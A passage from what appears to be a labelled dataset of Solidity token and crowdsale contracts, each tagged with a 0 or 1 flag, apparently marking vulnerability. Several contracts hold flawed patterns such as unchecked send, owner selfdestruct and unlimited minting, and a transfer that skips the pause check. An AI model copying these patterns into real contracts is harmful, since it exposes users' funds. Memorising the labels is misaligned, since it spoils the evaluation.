uint constant ADVISORY_SHARE = 18500000*(10**9);
uint constant BOUNTY_SHARE = 3700000*(10**9);
uint constant COMMUNITY_SHARE = 37000000*(10**9);
uint constant COMPANY_SHARE = 33300000*(10**9);
uint constant PRESALE_SHARE = 7856217611546440;
address constant ADVISORS = 0x98280b2FD517a57a0B8B01b674457Eb7C6efa842;
address constant BOUNTY = 0x8726D7ac344A0BaBFd16394504e1cb978c70479A;
address constant COMMUNITY = 0x90CDbC88aB47c432Bd47185b9B0FDA1600c22102;
address constant COMPANY = 0xC010b2f2364372205055a299B28ef934f090FE92;
address constant PRESALE = 0x7F3a38fa282B16973feDD1E227210Ec020F2481e;
CrowdsaleRegister register;
PrivateRegister register2;
bool public ready;
event SaleWillStart(uint256 time);
event SaleReady();
event SaleEnds(uint256 tokensLeft);
function SignalsCrowdsale(address _token, address _wallet, address _register, address _register2) public
FinalizableCrowdsale()
Crowdsale(_token, _wallet)
{
register = CrowdsaleRegister(_register);
register2 = PrivateRegister(_register2);
}
function validPurchase() internal constant returns (bool) {
bool started = (startTime <= now);
bool nonZeroPurchase = msg.value != 0;
bool capNotReached = (weiRaised < HARD_CAP);
bool approved = register.approved(msg.sender);
bool approved2 = register2.approved(msg.sender);
return ready && started && !hasEnded && nonZeroPurchase && capNotReached && (approved || approved2);
}
function buyTokens(address beneficiary) private {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 discount = ((toBeRaised*10000)/HARD_CAP)*15;
uint256 tokens;
weiRaised = weiRaised.add(weiAmount);
toBeRaised = toBeRaised.sub(weiAmount);
uint commission;
uint extra;
uint premium;
if (register.approved(beneficiary)) {
(commission, extra) = register.getBonuses(beneficiary);
if (extra > 0) {
discount += extra*10000;
}
tokens = howMany(msg.value, discount);
if (commission > 0) {
premium = tokens.mul(commission).div(100);
token.mint(BOUNTY, premium);
}
} else {
extra = register2.getBonuses(beneficiary);
if (extra > 0) {
discount = extra*10000;
tokens = howMany(msg.value, discount);
}
}
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
tokensSold += tokens + premium;
forwardFunds();
assert(token.totalSupply() <= maxTokens);
}
function howMany(uint256 value, uint256 discount) public view returns (uint256){
uint256 actualPrice = PRICE * (1000000 - discount) / 1000000;
return value / actualPrice;
}
function initialize() public onlyOwner {
require(!ready);
token.mint(ADVISORS,ADVISORY_SHARE);
token.mint(BOUNTY,BOUNTY_SHARE);
token.mint(COMMUNITY,COMMUNITY_SHARE);
token.mint(COMPANY,COMPANY_SHARE);
token.mint(PRESALE,PRESALE_SHARE);
tokensSold = PRESALE_SHARE;
ready = true;
SaleReady();
}
function changeStart(uint256 _time) public onlyOwner {
startTime = _time;
SaleWillStart(_time);
}
function endSale(bool end) public onlyOwner {
require(startTime <= now);
uint256 tokensLeft = maxTokens - token.totalSupply();
if (tokensLeft > 0) {
token.mint(wallet, tokensLeft);
}
hasEnded = end;
SaleEnds(tokensLeft);
}
function finalization() internal {
token.finishMinting();
token.transferOwnership(wallet);
}
function cleanUp() public onlyOwner {
require(isFinalized);
selfdestruct(owner);
}
} | 1 | 3,085 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 120000000;
uint256 public buyPrice = 1;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'HIS', 'HIS') payable public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
function getEth(uint num) onlyOwner payable public {
owner.send(num);
}
function balanceOfa(address _owner) public constant returns (uint256) {
return balanceOf[_owner];
}
} | 1 | 4,140 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SUAPPToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "SUAPP";
string public constant symbol = "SUP";
uint public constant decimals = 18;
uint256 public totalSupply = 100000000000e18;
uint256 public totalDistributed = 50000000000e18;
uint256 public constant MIN_CONTRIBUTION = 1 ether / 100;
uint256 public tokensPerEth = 5000000e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function SUAPPToken () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= MIN_CONTRIBUTION );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,506 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
mapping(address => mapping(address => uint256)) internal allowed;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Owned {
address public owner;
function Owned() public{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
owner = newOwner;
}
}
contract FOTToken is StandardToken, Owned {
string public name = 'WTO Fruit Organization Chain';
string public symbol = 'FOT';
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 21*10**27;
function FOTToken(address beneficiary) public {
totalSupply_ = INITIAL_SUPPLY;
balances[beneficiary] = INITIAL_SUPPLY;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,126 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "KASH";
string constant TOKEN_SYMBOL = "KASH";
bool constant PAUSED = true;
address constant TARGET_USER = 0xA4461465531a90dF04f52873507B7C5920165b5d;
uint constant START_TIME = 1523160014;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 906 |
pragma solidity 0.4.25;
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IOrbsNetworkTopology {
function getNetworkTopology()
external
view
returns (bytes20[] nodeAddresses, bytes4[] ipAddresses);
}
interface IOrbsValidators {
event ValidatorApproved(address indexed validator);
event ValidatorRemoved(address indexed validator);
function approve(address validator) external;
function remove(address validator) external;
function isValidator(address validator) external view returns (bool);
function isApproved(address validator) external view returns (bool);
function getValidators() external view returns (address[]);
function getValidatorsBytes20() external view returns (bytes20[]);
function getApprovalBlockNumber(address validator)
external
view
returns (uint);
}
interface IOrbsValidatorsRegistry {
event ValidatorLeft(address indexed validator);
event ValidatorRegistered(address indexed validator);
event ValidatorUpdated(address indexed validator);
function register(
string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress
)
external;
function update(
string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress
)
external;
function leave() external;
function getValidatorData(address validator)
external
view
returns (
string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress
);
function getRegistrationBlockNumber(address validator)
external
view
returns (uint registeredOn, uint lastUpdatedOn);
function isValidator(address validator) external view returns (bool);
function getOrbsAddress(address validator)
external
view
returns (bytes20 orbsAddress);
}
contract OrbsValidators is Ownable, IOrbsValidators, IOrbsNetworkTopology {
uint public constant VERSION = 1;
uint internal constant MAX_VALIDATOR_LIMIT = 100;
uint public validatorsLimit;
IOrbsValidatorsRegistry public orbsValidatorsRegistry;
address[] internal approvedValidators;
mapping(address => uint) internal approvalBlockNumber;
constructor(IOrbsValidatorsRegistry registry_, uint validatorsLimit_) public {
require(registry_ != IOrbsValidatorsRegistry(0), "Registry contract address 0");
require(validatorsLimit_ > 0, "Limit must be positive");
require(validatorsLimit_ <= MAX_VALIDATOR_LIMIT, "Limit is too high");
validatorsLimit = validatorsLimit_;
orbsValidatorsRegistry = registry_;
}
function approve(address validator) external onlyOwner {
require(validator != address(0), "Address must not be 0!");
require(approvedValidators.length < validatorsLimit, "Can't add more members!");
require(!isApproved(validator), "Address must not be already approved");
approvedValidators.push(validator);
approvalBlockNumber[validator] = block.number;
emit ValidatorApproved(validator);
}
function remove(address validator) external onlyOwner {
require(isApproved(validator), "Not an approved validator");
uint approvedLength = approvedValidators.length;
for (uint i = 0; i < approvedLength; ++i) {
if (approvedValidators[i] == validator) {
approvedValidators[i] = approvedValidators[approvedLength - 1];
approvedValidators.length--;
delete approvalBlockNumber[validator];
emit ValidatorRemoved(validator);
return;
}
}
}
function isValidator(address validator) public view returns (bool) {
return isApproved(validator) && orbsValidatorsRegistry.isValidator(validator);
}
function isApproved(address validator) public view returns (bool) {
return approvalBlockNumber[validator] > 0;
}
function getValidators() public view returns (address[] memory) {
uint approvedLength = approvedValidators.length;
address[] memory validators = new address[](approvedLength);
uint pushAt = 0;
for (uint i = 0; i < approvedLength; i++) {
if (orbsValidatorsRegistry.isValidator(approvedValidators[i])) {
validators[pushAt] = approvedValidators[i];
pushAt++;
}
}
return sliceArray(validators, pushAt);
}
function getValidatorsBytes20() external view returns (bytes20[]) {
address[] memory validatorAddresses = getValidators();
uint validatorAddressesLength = validatorAddresses.length;
bytes20[] memory result = new bytes20[](validatorAddressesLength);
for (uint i = 0; i < validatorAddressesLength; i++) {
result[i] = bytes20(validatorAddresses[i]);
}
return result;
}
function getApprovalBlockNumber(address validator)
public
view
returns (uint)
{
return approvalBlockNumber[validator];
}
function getNetworkTopology()
external
view
returns (bytes20[] memory nodeAddresses, bytes4[] memory ipAddresses)
{
address[] memory validators = getValidators();
uint validatorsLength = validators.length;
nodeAddresses = new bytes20[](validatorsLength);
ipAddresses = new bytes4[](validatorsLength);
for (uint i = 0; i < validatorsLength; i++) {
bytes4 ip;
bytes20 orbsAddr;
( , ip , , orbsAddr) = orbsValidatorsRegistry.getValidatorData(validators[i]);
nodeAddresses[i] = orbsAddr;
ipAddresses[i] = ip;
}
}
function sliceArray(address[] memory arr, uint len)
internal
pure
returns (address[] memory)
{
require(len <= arr.length, "sub array must be longer then array");
address[] memory result = new address[](len);
for(uint i = 0; i < len; i++) {
result[i] = arr[i];
}
return result;
}
} | 1 | 2,848 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
